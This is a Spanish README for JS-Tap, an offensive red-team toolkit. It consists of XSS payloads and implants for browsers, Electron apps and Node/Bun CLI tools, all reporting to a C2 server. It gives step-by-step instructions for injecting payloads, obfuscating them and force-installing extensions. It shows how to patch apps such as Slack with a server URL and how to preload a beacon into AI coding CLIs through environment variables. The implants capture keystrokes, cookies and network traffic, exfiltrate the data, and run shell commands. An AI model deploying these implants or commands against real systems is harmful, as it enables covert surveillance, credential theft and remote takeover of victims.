
Balizas JavaScript y C2 para ser utilizados como payload de XSS o implantes post-explotación en servidores de aplicaciones web o software de escritorio para monitorear usuarios y mantener persistencia. Se incluyen implantes de extensión de navegador, aplicación Electron y aplicación Node/Bun.
Los cambios importantes se documentan en los Anuncios del proyecto:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
Puedes leer la publicación original del blog sobre JS-Tap aquí:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Demostración corta de ShmooCon de JS-Tap versión 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Demostración de JS-Tap versión 2 en HackSpaceCon, incluyendo C2 y cómo usarlo como implante post-explotación:
https://youtu.be/aWvNLJnqObQ?t=11719
Demostración del generador automático de payloads, utiliza envíos de formularios interceptados y tráfico de red JavaScript como modelo para generar payloads C2 personalizados:
https://www.youtube.com/watch?v=cU915mxLfTo
Demostración en CactusCon de v2 incluyendo la función de imitación:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
Demostración de v3 Beacons, código beta:
https://youtu.be/-esrfSHqZeo
No planeo crear scripts de migración para la base de datos, y los incrementos de versión a menudo implican cambios en el esquema de la base de datos (revisa los registros de cambios). Probablemente deberías eliminar tu base de datos jsTap.db al actualizar la versión. Si tienes payloads personalizados en tu servidor JS-Tap, asegúrate de exportarlos antes de eliminar los archivos de la base de datos.
JS-Tap es un kit de herramientas ofensivas basado en JavaScript para equipos rojos. Comenzó como un payload genérico de JavaScript para atacar aplicaciones web mediante XSS o implante post-explotación, y ha crecido para incluir extensiones de navegador e implantes para aplicaciones de escritorio Electron, todo reportándose a un único servidor C2.
El payload no requiere que el usuario objetivo que ejecuta el payload esté autenticado en la aplicación atacada, y no requiere conocimiento previo de la aplicación más allá de encontrar una manera de inyectar el JavaScript en la aplicación.
En lugar de atacar al servidor de la aplicación en sí, el payload de JS-Tap se centra en el lado del cliente de la aplicación e instrumenta fuertemente el código del lado del cliente. Un sistema C2 permite agregar payloads personalizados de JavaScript y ejecutarlos como tareas en los clientes JS-Tap, proporcionando un medio para atacar directamente al servidor de la aplicación. Para facilitar una transición más rápida al ataque al servidor, JS-Tap ahora incluye una función de "imitación" para generar automáticamente payloads personalizados y entregarlos al sistema C2.
El payload de ejemplo DOM Beacon está contenido en el archivo telemlib.js en el directorio de payloads, sin embargo, cualquier archivo en este directorio se sirve sin autenticación, por lo que puedes servir múltiples payloads con diferentes configuraciones dirigidas a diferentes aplicaciones al mismo tiempo.
Copia el archivo telemlib.js al nombre de archivo que desees y modifica la configuración según sea necesario. Este archivo no ha sido ofuscado. Antes de usarlo en un compromiso, considera seriamente cambiar los nombres de los endpoints, eliminar comentarios y ofuscar fuertemente el payload. Por defecto, la aplicación utiliza endpoints de API bastante obvios (por ejemplo, /loot/screenshot); en Configuración de la aplicación puedes activar la ofuscación del tráfico.
Asegúrate de revisar la sección de configuración a continuación cuidadosamente antes de usar en un servidor expuesto públicamente.
JS-Tap tiene cinco tipos de balizas/agentes que se conectan al mismo servidor:
Los cinco se reportan al mismo portal del servidor JS-Tap, donde se visualiza el botín y se emiten comandos C2.
El portal también incluye dos herramientas de clonación de sesiones:
| Herramienta | Qué Hace |
|---|
DOM Beacon independiente: El payload DOM Beacon (telemlib.js) funciona de forma independiente. Inyéctalo mediante XSS o impiéntalo en los archivos JS del objetivo. Se comunica con el servidor JS-Tap por sí mismo.
BEX Beacon como inyector: El BEX Beacon monitorea la navegación y recopila inteligencia pasiva (cookies, localStorage, sessionStorage, encabezados de solicitud, navegación). Desde el portal JS-Tap, puedes ordenar a la baliza que inyecte un DOM Beacon en un dominio específico. El DOM Beacon generado por un BEX Beacon obtiene capturas de pantalla de alta calidad a través de la API captureVisibleTab de la extensión (modo "BEX-Assist").
Sidecar para acceso al SO: Cuando está instalado, el binario Sidecar le da al BEX Beacon acceso al sistema operativo subyacente. Los comandos se envían desde el portal JS-Tap, se retransmiten a través del canal cifrado de la baliza al binario nativo, y los resultados se envían de vuelta. Esto convierte una extensión de navegador en un punto de apoyo para acceso al sistema de archivos y ejecución de comandos.
Proxy de Navegador para navegación en vivo: El operador configura su navegador para usar el proxy JS-Tap y todo el tráfico HTTP/HTTPS se enruta a través del navegador de la víctima en tiempo real. El proxy realiza la terminación TLS MITM (con un CA autogenerado) para que el operador pueda navegar por sitios HTTPS. El proxy es un "tubo tonto": reenvía exactamente lo que envía el navegador del operador. Para navegación autenticada, combínalo con un Ticket de Sesión: el JS-Tap Conductor inyecta las cookies, encabezados y User-Agent de la víctima en el navegador del operador, el proxy MITM los reenvía a la baliza, y la baliza los obtiene desde la red de la víctima. Esto le da al operador una sesión autenticada desde la dirección IP de la víctima. BEX, Atom y V8 Beacons soportan modo proxy.
Atom Beacon para aplicaciones Electron: El parcheador atomize.py modifica un archivo ASAR de una aplicación Electron para inyectar el agente Atom Beacon. Al iniciarse, el agente se registra con el servidor JS-Tap, comienza la comunicación C2 cifrada e inyecta automáticamente payloads de renderizador en cada BrowserWindow que la aplicación crea. El agente del proceso principal proporciona acceso nativo al SO (sistema de archivos, ejecución de comandos) mientras que los payloads del renderizador recopilan datos a nivel de DOM (pulsaciones de teclas, entradas, formularios, cookies, almacenamiento, llamadas de red). Debido a que se ejecuta dentro del proceso principal de Electron con acceso completo a Node.js, no necesita un binario sidecar separado: la navegación de archivos, la lectura de archivos y los comandos de shell están integrados.
Nota: la capacidad de recibir copias de las llamadas a las API XHR y Fetch funciona en modo trampa. En modo implante, solo se puede copiar la API Fetch actualmente. La interceptación de envíos de formularios puede fallar a veces en modo implante.
browser.cookies.getAll(), con metadatos: httpOnly, secure, sameSite, path, domain, expiration)Agente del proceso principal (runtime Node.js):
session.cookies (incluyendo httpOnly, con metadatos)webRequest.onBeforeSendHeaderswebRequest.onHeadersReceiveddesktopCapturer de Electron (captura la salida compuesta por GPU)Payloads del renderizador (inyectados en todas las ventanas de la aplicación):
document.cookie, con seguimiento de cambios)process.stdin (almacenado en búfer en cadenas legibles, vaciado cada 2 segundos o al presionar Enter)El payload DOM Beacon tiene dos modos de operación. Si el modo es trampa o implante se establece en la función initGlobals(), busca la variable window.taperMode.
El modo trampa es típicamente el modo que usarías como payload XSS. La ejecución de payloads XSS suele ser fugaz; el usuario que ve la página donde se ejecuta el payload JavaScript malicioso puede cerrar la pestaña del navegador (la página no es interesante) o navegar a otro lugar dentro de la aplicación. En ambos casos, el payload se eliminará de la memoria y dejará de funcionar. JS-Tap necesita ejecutarse durante mucho tiempo o no recopilarás datos útiles.
El modo trampa combate esto estableciendo persistencia mediante una técnica de trampa iFrame. El payload JS-Tap creará un iFrame de página completa y comenzará al usuario en otro lugar dentro de la aplicación. Esta página de inicio debe configurarse con antelación. En la función initGlobals() busca la variable window.taperstartingPage y establécelo en una ubicación inicial adecuada en la aplicación objetivo.
En modo trampa, JS-Tap monitorea la ubicación del usuario en la trampa iframe y suplanta la barra de direcciones del navegador para que coincida con la ubicación del iframe.
Ten en cuenta que la aplicación objetivo debe permitir el iFrame desde el mismo origen o self si está configurando CSP o encabezados X-Frame-Options. Los framebusters basados en JavaScript también pueden evitar que las trampas iframe funcionen.
Nota: he tenido buena suerte usando el modo trampa como implante post-explotación en ubicaciones muy específicas de una aplicación, o cuando no estoy seguro de qué recursos está usando la aplicación dentro de la sección autenticada de la aplicación. Puedes poner un implante en la página de inicio de sesión, con modo trampa y la página de inicio del modo trampa configurada en window.location.href (es decir, ubicación actual). La trampa se activará cuando el usuario visite la página de inicio de sesión, y con suerte continuará dentro de las partes autenticadas de la aplicación dentro de la trampa iframe.
Un usuario que actualice la página generalmente romperá/escapará de la trampa iframe.
El modo implante se usaría típicamente si estás agregando el payload directamente a la aplicación objetivo. Quizás tienes un shell en el servidor que aloja los archivos JavaScript de la aplicación. Agrega el payload a un archivo JavaScript que se use en toda la aplicación (jQuery, main.js, etc.). Qué archivo sería ideal realmente depende de la aplicación en cuestión y de cómo usa los archivos JavaScript. El modo implante no requiere que se configure una página de inicio y no utiliza la técnica de trampa iframe.
Un usuario que actualice la página en modo implante generalmente continuará ejecutando el payload JS-Tap.
El modo implante es más probable que funcione con aplicaciones, ya que no implica todo el código extra de persistencia del iframe.
El BEX Beacon es una versión de extensión de navegador de JS-Tap. Sirve dos propósitos principales:
El BEX Beacon utiliza comunicación cifrada a nivel de aplicación (AES-GCM) con el servidor JS-Tap. Toda la telemetría y las respuestas de tareas se cifran de extremo a extremo a través de un único endpoint, lo que dificulta la identificación del tráfico de red.
La baliza también incluye funciones como la eliminación de encabezados CSP/X-Frame-Options (mediante reglas declarativeNetRequest) para facilitar la inyección de JS-Tap en entornos estrictos. Para objetivos que usan etiquetas <meta http-equiv="Content-Security-Policy"> (que no se pueden eliminar mediante reglas de encabezados ya que están incrustadas en el HTML), el BEX Beacon utiliza un enfoque de inyección empaquetada: telemlib.js está empaquetado dentro de la extensión y se inyecta mediante chrome.scripting.executeScript({ files }), lo que evita el CSP a nivel de página por completo a través del mecanismo de inyección privilegiada de extensiones del navegador.
Cuando se combina con el host de mensajería nativa opcional Sidecar, el BEX Beacon obtiene acceso a nivel de SO en la máquina objetivo. Consulta la sección Sidecar más abajo.
El Atom Beacon es un implante para aplicaciones de escritorio Electron. Opera como un agente de dos capas: un agente del proceso principal privilegiado con acceso completo al runtime Node.js, más payloads de renderizador inyectados automáticamente en cada BrowserWindow que la aplicación crea.
A diferencia de la combinación BEX Beacon + Sidecar, el Atom Beacon no necesita un binario nativo separado para el acceso al SO: las operaciones del sistema de archivos, la ejecución de comandos y la captura de pantalla están integradas en el agente del proceso principal utilizando APIs de Node.js.
El Atom Beacon utiliza el mismo protocolo de comunicación cifrada que el BEX Beacon (cifrado AES-GCM sobre un único endpoint, con intercambio de claves RSA-OAEP). Se registra como un tipo de cliente distinto (atom-beacon) y aparece en la vista Aplicaciones junto a los DOM Beacons.Capacidades clave:
webContents.executeJavaScript(), incluyendo ventanas creadas después del lanzamiento inicial. Las cargas útiles del renderizador capturan pulsaciones de teclas, entradas, formularios, cookies, almacenamiento, URLs, HTML y llamadas de red XHR/Fetch.desktopCapturer de Electron, que produce capturas perfectas en píxeles incluyendo contenido compuesto por GPU. Admite captura manual (a través de la interfaz del portal), captura automática heurística (al enfocar ventanas, navegar y nuevas ventanas) y períodos de enfriamiento configurables.webRequest.onBeforeSendHeaders y encabezados de respuesta a través de webRequest.onHeadersReceived a nivel de sesión de Electron.session.cookies.get().Consulte Atom Beacon (Patching Electron Apps) a continuación para la configuración y el uso.
El V8 Beacon es un implante para aplicaciones de línea de comandos basadas en Node.js y Bun. A diferencia del Atom Beacon que requiere parchear el archivo ASAR de una aplicación, el V8 Beacon se inyecta a través de variables de entorno, sin necesidad de modificar la aplicación objetivo.
Entornos de ejecución compatibles:
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (probado con Gemini CLI y otras herramientas de Node.js)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (probado con Claude Code)El beacon utiliza el mismo protocolo de comunicación cifrada que los BEX y Atom Beacons (cifrado AES-GCM sobre un solo endpoint, con intercambio de claves RSA-OAEP). Se registra como tipo de cliente v8-beacon y aparece en la vista Nodes en el portal.
Capacidades clave:
http.request, https.request, globalThis.fetch y http2.connect para capturar todas las llamadas de red salientes con cuerpos de solicitud/respuesta completos, encabezados y códigos de estado. Las respuestas de streaming SSE (usadas por APIs de IA como la API de Messages de Anthropic y la API de Gemini de Google) se capturan mediante bifurcación del flujo de respuesta. Las respuestas comprimidas con Gzip se descomprimen automáticamente.process.stdin en múltiples capas (push, emit, tty.ReadStream, readline) para capturar la entrada del usuario. Las pulsaciones de teclas se almacenan en búfer en cadenas legibles y se vacían cada 2 segundos (o inmediatamente al presionar Enter).Consulte V8 Beacon (Node.js / Bun CLI Apps) a continuación para la configuración y el uso.
JS-Tap emplea tres métodos distintos para capturar pantallas:
Usado por defecto en los implantes DOM Beacon. Intenta reconstruir la página como un elemento canvas y exportarla como imagen. Funciona bien para la mayoría de los sitios pero puede tener dificultades con aplicaciones modernas complejas (como Reddit) o imágenes de origen cruzado.
Cuando un implante DOM Beacon es generado por un BEX Beacon, obtiene acceso a las API de alto nivel del navegador de la extensión. En este modo, el implante le pide al beacon que tome la captura de pantalla usando chrome.tabs.captureVisibleTab. Esto resulta en una captura perfecta en píxeles y de alta calidad que evita todas las limitaciones CSS/DOM de html2canvas. Este es el modo recomendado para objetivos complejos.
El Atom Beacon utiliza la API desktopCapturer de Electron para capturar capturas de pantalla de ventanas. Esto captura la salida real de la ventana compuesta por GPU, produciendo capturas perfectas en píxeles de aplicaciones Electron complejas (Slack, VS Code, Discord, etc.). Las capturas pueden activarse manualmente desde el portal, o automáticamente mediante heurísticas configurables (cambios de enfoque de ventana, eventos de navegación, creación de nuevas ventanas).
Requiere python3. Se requiere una gran cantidad de dependencias para el jsTapServer, se recomienda encarecidamente usar entornos virtuales de Python para aislar las bibliotecas del software del servidor (o cualquier otro método de aislamiento que prefieras).
Ejemplo:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
El servidor genera automáticamente una contraseña de administrador aleatoria en cada inicio y la imprime en la consola. Las credenciales también se guardan en `adminCreds.txt` en la raíz del proyecto. Durante el desarrollo/pruebas, es seguro eliminar `jsTap.db` entre ejecuciones — se regenera automáticamente al inicio.
### Construcción (Compilación Unificada)
El script de compilación unificada en la raíz del proyecto maneja todo: compilar las extensiones para Chrome y Firefox, empaquetarlas para su despliegue, opcionalmente compilar de forma cruzada el binario sidecar, y producir paquetes de despliegue autocontenidos que puedes copiar a las máquinas de destino.
#### Prerrequisitos
- **Node.js** (para compilaciones de extensiones WXT y empaquetado .crx)
- **Go** (1.21+) — solo necesario si sidecar está habilitado
- **Python 3**
#### Inicio Rápido
1. Configura `bex-beacon/config.json` (consulta [Configuración](#bex-beacon-configuration-configjson) a continuación).
2. Instala las dependencias de Node (solo la primera vez):```bash
cd bex-beacon && npm install && cd ..
Esto compila extensiones Chrome MV3 y Firefox MV2, las empaqueta como `.crx`/`.xpi`, compila sidecars multiplataforma (si está habilitado) y genera paquetes de despliegue. El script de compilación incrementa automáticamente el número de versión del parche de la extensión en cada compilación (p. ej., `2.1.5` → `2.1.6`) en `bex-beacon/config.json` para garantizar que los mecanismos de instalación forzada del navegador (política empresarial de Chrome/Edge) recojan las compilaciones actualizadas.
#### Indicadores de compilación
| Indicador | Efecto |
|---|---|
| `--ext-only` | Compilar solo extensiones, omitir sidecar |
| `--sidecar-only` | Compilar solo sidecar, omitir extensiones |
| `--legacy` | También compilar extensiones heredadas (desde `src-chrome-extension/` y `src-firefox-extension/`) |
#### Salida de la compilación```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
Para uso en producción, debes generar un par de claves estáticas para que el ID de tu extensión de Chrome sea determinista entre compilaciones. Esto es necesario para que los manifiestos de mensajería nativa del sidecar incluyan en la lista blanca la extensión correcta.```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
Agrega la salida en base64 a `extension_ids.chrome_key` y establece `extension_ids.chrome_key_pem` como `key.pem` en `bex-beacon/config.json`. El script de compilación calculará y verificará automáticamente el ID de la extensión de Chrome de 32 caracteres.
Los IDs de las extensiones de Firefox se establecen directamente mediante `extension_ids.firefox_extension_id` (p. ej. `bex-beacon@jstap`).
### Despliegue en objetivos
Cada paquete de implementación es un **archivo autocontenido** — un solo archivo para copiar a la máquina objetivo.
**Flujo de trabajo:**
1. Copia el archivo correspondiente al objetivo (p. ej. `chrome-linux.tar.gz`)
2. Extráelo
3. Ejecuta el script de instalación```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
Lo que hacen los scripts de instalación:
Cuando el sidecar está habilitado, los scripts de instalación también instalan el binario sidecar y escriben el manifiesto de mensajería nativa en la ubicación correcta específica del navegador/SO. La instalación del sidecar es a nivel de usuario (sin necesidad de sudo).
Detalles de instalación de Chrome/Chromium (Linux):
ExtensionSettings con modo force_installed)/opt/jstap//etc/chromium/policies/managed/ (Chromium) o /etc/opt/chrome/policies/managed/ (Chrome)Detalles de instalación de Chrome/Chromium (macOS):
/Library/Application Support/JSTap/Cada paquete de implementación incluye un script de desinstalación (uninstall.sh o uninstall.bat) que elimina limpiamente todo lo que el script de instalación desplegó.```bash
./uninstall.sh
uninstall.bat
**Lo que eliminan los scripts de desinstalación:**
| Componente | Lo que se elimina |
|---|---|
| **Extensión de Chrome/Chromium** (Linux) | Archivo JSON de política empresarial + CRX + manifiesto de actualización de directorios del sistema (requiere `sudo`) |
| **Extensión de Chrome/Chromium** (macOS) | Archivo JSON de extensión externa + CRX de directorios del sistema (requiere `sudo`) |
| **Extensión de Chrome** (Windows) | Entrada de registro + archivos de extensión de `%LOCALAPPDATA%\JSTap` |
| **Extensión de Firefox** | `.xpi` del directorio `extensions/` del perfil de Firefox |
| **Sidecar** (cuando está presente) | Binario de `~/.local/bin/`, manifiesto JSON de mensajería nativa y entradas de registro (Windows) |
Después de desinstalar, reinicie el navegador para que los cambios surtan efecto.
#### Uso en desarrollo
Para desarrollo y pruebas, puede omitir los paquetes de implementación y cargar las extensiones directamente:
- **Chrome:** `chrome://extensions` -> Habilitar modo de desarrollador -> Cargar descomprimida -> seleccionar `build/chrome-mv3/`
- **Firefox:** `about:debugging` -> Este Firefox -> Cargar complemento temporal -> seleccionar cualquier archivo dentro de `build/firefox-mv2/`
### Sidecar (Host de mensajería nativa)
El Sidecar es **opcional**. Es un binario Go que se comunica con el BEX Beacon a través de la API de mensajería nativa del navegador para proporcionar acceso a nivel de sistema operativo (navegación de archivos, lectura de archivos, ejecución de comandos).
#### Habilitación y compilación
1. Establezca `sidecar.enabled: true` en `bex-beacon/config.json`
2. Configure los IDs de extensión en `extension_ids` (consulte [IDs de extensión estáticos](#static-extension-ids) arriba)
3. Ejecute la compilación unificada:```bash
python3 buildAll.py
El script de compilación sincroniza automáticamente los IDs de las extensiones desde la configuración central a sidecar/config.json, compila de forma cruzada los binarios del sidecar para todas las plataformas e incluye el binario correcto en cada paquete de despliegue.
Si necesitas reconstruir solo el sidecar sin reconstruir las extensiones:```bash python3 buildAll.py --sidecar-only
O constrúyelo directamente (recurrirá a leer `../bex-beacon/config.json` si no existe una configuración local):```bash
cd sidecar
python3 buildSidecar.py
Para iteraciones de prueba durante el desarrollo, use el script de desinstalación específico del sidecar para eliminar el binario y todos los manifiestos de mensajería nativa:```bash ./sidecar/uninstall.sh
Esto elimina el binario de `~/.local/bin/` y el JSON de manifiesto de todos los directorios de manifiesto de Chrome/Firefox (Linux y macOS).
Para sistemas desplegados, use el `uninstall.sh` o `uninstall.bat` del paquete en su lugar — elimina tanto la extensión como el sidecar en un solo paso. Vea [Uninstalling](#uninstalling) más arriba.
#### Cómo funciona Sidecar```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
La comunicación entre el beacon y el binario sidecar utiliza el protocolo de mensajería nativa — cada mensaje va precedido por una longitud de 4 bytes en little-endian, seguida por un payload JSON.
Comandos Sidecar:
El implante Atom Beacon se inyecta en aplicaciones de escritorio Electron usando el parcheador atomize.py. Modifica el archivo ASAR de la aplicación (o el directorio de la aplicación desempaquetada) para anteponer el código del agente al punto de entrada del proceso principal.
resources/app.asar o resources/app/ de la aplicaciónEn Linux y macOS, atomize.py se puede ejecutar directamente con Python 3. En Windows, es posible que Python no esté instalado. Puedes crear un atomize.exe independiente usando PyInstaller:```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
Esto produce `dist/atomize.exe` — un ejecutable de un solo archivo que incluye Python, la librería ASAR y los archivos de carga. No se necesita instalación de Python en la máquina Windows de destino. El uso es idéntico a la versión de Python:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
Nota: PyInstaller solo puede compilar para el sistema operativo en el que se ejecuta. Para compilar un
.exede Windows, ejecute PyInstaller en una máquina Windows (o en una máquina virtual/CI de Windows).
Solución de problemas de pip en Windows:
Si pip no es reconocido en Windows pero python funciona, use python -m pip en su lugar:```
python -m pip install pyinstaller
Si no se encuentra `pyinstaller` después de instalarlo, usa `python -m PyInstaller` (distingue mayúsculas de minúsculas):```
python -m PyInstaller atomize.spec
Si pip no está disponible, asegúrate de que Python se haya instalado con la casilla "Add Python to PATH" marcada. También puedes instalar pip manualmente:``` python -m ensurepip --upgrade
#### Analizando un Objetivo
Antes de parchear, usa `--detect-only` para analizar la estructura de la aplicación objetivo, las configuraciones de seguridad y el estado de la firma de código:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
Esto reporta:
package.json)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
Options:
| Flag | Description |
|---|---|
| `--server URL` | URL del servidor JS-Tap (requerido para parchar) |
| `--tag TAG` | Etiqueta del cliente, mostrada en el portal (por defecto: `atom`) |
| `--detect-only` | Analizar sin parchar |
| `--no-backup` | Omitir la creación de una copia de seguridad `.bak` del ASAR original |
| `--output PATH` | Escribir el ASAR parcheado en una ruta diferente en lugar de en el mismo lugar |
El parcheador automáticamente:
- Localiza `app.asar` o `app/` dentro de paquetes `.app` (macOS), directorios `resources/` (Linux/Windows), o acepta rutas directas
- Crea una copia de seguridad `.bak` antes de modificar (a menos que se use `--no-backup`)
- Detecta y elimina parches existentes antes de volver a parchar
- Genera un prefijo IPC único por parche para evitar colisiones
- Incrusta el payload del renderizador como una constante de cadena dentro del agente (inyección de archivo único)
#### Notas posteriores al parche
| Plataforma | Notas |
|---|---|
| **macOS** | La firma de código se invalida. Si la aplicación muestra una advertencia de "dañada", ejecute `xattr -cr /ruta/a/App.app` o vuelva a firmar con `codesign --force --deep --sign - /ruta/a/App.app`. |
| **Windows** | SmartScreen puede advertir en la descarga inicial, pero las aplicaciones ya instaladas no se vuelven a verificar. El parcheo en el mismo lugar funciona sin problemas. |
| **Linux** | No hay imposición de firma de código. La aplicación parcheada se ejecuta con normalidad. |
#### Desempaquetado (Reversión)
Para revertir una aplicación parcheada, restaure el archivo `.bak`:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
El agente se comunica con el servidor a través del mismo endpoint cifrado utilizado por los BEX Beacons (`POST /client/metrics/<uuid>`). Todos los datos están cifrados con AES-GCM utilizando claves establecidas durante el registro.
#### Uso del Panel de Herramientas (Atom Beacon)
Cuando un cliente Atom Beacon está seleccionado en el portal, el panel **Herramientas** proporciona:
**Panel de proxy del navegador** — Iniciar/detener el proxy, descargar el certificado CA y generar tickets de proxy. Las solicitudes se enrutan a través del contexto de red de la aplicación Electron.
**Pestaña de explorador de archivos** — Navegar por el sistema de archivos del objetivo y leer archivos, idéntico al explorador de archivos de BEX Sidecar pero ejecutándose de forma nativa en el proceso de Electron.
**Pestaña de terminal** — Ejecutar comandos en el objetivo, idéntico a la terminal de BEX Sidecar pero ejecutándose de forma nativa a través de `child_process` de Node.js.
**Pestaña de capturas de pantalla** — Solo Atom Beacon. Proporciona:
- Botón **Capturar ahora** para capturas de pantalla manuales bajo demanda
- **Heurísticas de captura automática** — interruptores configurables para disparadores automáticos de captura:
- *Capturar al enfocar ventana* — captura cuando el usuario cambia entre ventanas de aplicación
- *Capturar al navegar* — captura en la navegación de páginas (incluyendo navegación SPA como cambio de canal en Slack)
- *Capturar al abrir nueva ventana* — captura cuando la aplicación abre una nueva ventana
- **Cooldown** — segundos mínimos entre capturas automáticas por ventana (evita saturación)
La captura automática utiliza disparadores con debounce — para navegación SPA, la captura se toma 3 segundos después del último evento de navegación/cambio de título, asegurando que se capture el contenido al que se llegó y no la página que se abandona.
La insignia del panel de Herramientas muestra **Integrado** para clientes Atom Beacon (ya que el acceso al sistema operativo es nativo del agente, no depende de un binario sidecar externo).
### V8 Beacon (Aplicaciones CLI de Node.js / Bun)
El implante V8 Beacon se inyecta en aplicaciones CLI de Node.js y Bun a través de variables de entorno. No se requiere parcheo ni modificación de la aplicación objetivo.
#### Construcción del Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
Options:
| Flag | Description |
|---|---|
--server URL | URL del servidor JS-Tap (requerido) |
--tag TAG | Etiqueta del cliente, mostrada en el portal (por defecto: ) |
Esto genera un archivo v8-beacon.js autónomo con la URL del servidor y la etiqueta incorporadas.
Para aplicaciones Node.js (Gemini CLI, OpenCode, herramientas personalizadas de Node.js, etc.):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Para aplicaciones Bun** (Claude Code, etc.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
Puedes configurar ambas variables de entorno simultáneamente para cubrir ambos entornos de ejecución:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
El beacon se carga antes del código propio de la aplicación y comienza a instrumentar el runtime. La aplicación objetivo se ejecuta con normalidad — el beacon es invisible para el usuario.
#### Cómo funciona```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
Algunas herramientas CLI se generan a sí mismas como procesos hijos. Por ejemplo, Gemini CLI ejecuta la autenticación en el proceso padre, luego genera un proceso hijo node gemini para la sesión interactiva (donde ocurren las llamadas reales a la API).
El V8 Beacon maneja esto automáticamente:
__V8_BEACON_ACTIVE y __V8_BEACON_RUNTIME__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY)npm, npx, yarn, tsc, eslint, etc.) siempre se omitenEsto significa que una sesión de Gemini CLI con procesos padre + hijo aparece como un solo cliente en el portal con todos los eventos unificados.
Cuando un cliente V8 Beacon está seleccionado en el portal (bajo la pestaña Nodes), el panel Tools proporciona:
Panel Browser Proxy — Iniciar/detener el proxy, descargar el certificado CA y generar tickets de proxy. Las solicitudes se enrutan a través del contexto de red del proceso Node.js/Bun.
Pestaña File Browser — Navegar por el sistema de archivos del objetivo y leer archivos, idéntico a los navegadores de archivos BEX Sidecar y Atom Beacon.
Pestaña Shell — Ejecutar comandos en el objetivo a través de child_process de Node.js.
La insignia del panel Tools muestra Built-in (el acceso al SO es nativo del agente).
| Aplicación | Runtime | Estado |
|---|---|---|
| Gemini CLI | Node.js | Interceptación total de red (incluyendo SSE de streamGenerateContent), keylogging, acceso a archivos/shell |
| Claude Code | Bun 1.3.10 | Interceptación total de red (incluyendo streaming SSE de ), keylogging, acceso a archivos/shell |
Si estás ejecutando JS-Tap con el script jsTapServer.py en modo de un solo hilo (ideal para pruebas/demos), hay opciones de configuración directamente en el script jsTapServer.py.
Para uso en producción, JS-Tap debe alojarse en un servidor disponible públicamente con un certificado SSL adecuado de alguien como LetsEncrypt. La forma más sencilla de implementar esto es permitir que NGINX actúe como front-end de JS-Tap y maneje el certificado de LetsEncrypt, y luego reenviar el tráfico descifrado a JS-Tap como tráfico HTTP localmente (es decir, NGINX y JS-Tap se ejecutan en el mismo VPS).
Si configuras proxyMode como true, el servidor JS-Tap se ejecutará en modo HTTP y tomará la dirección IP del cliente del encabezado X-Forwarded-For, que NGINX debe estar configurado para establecer.
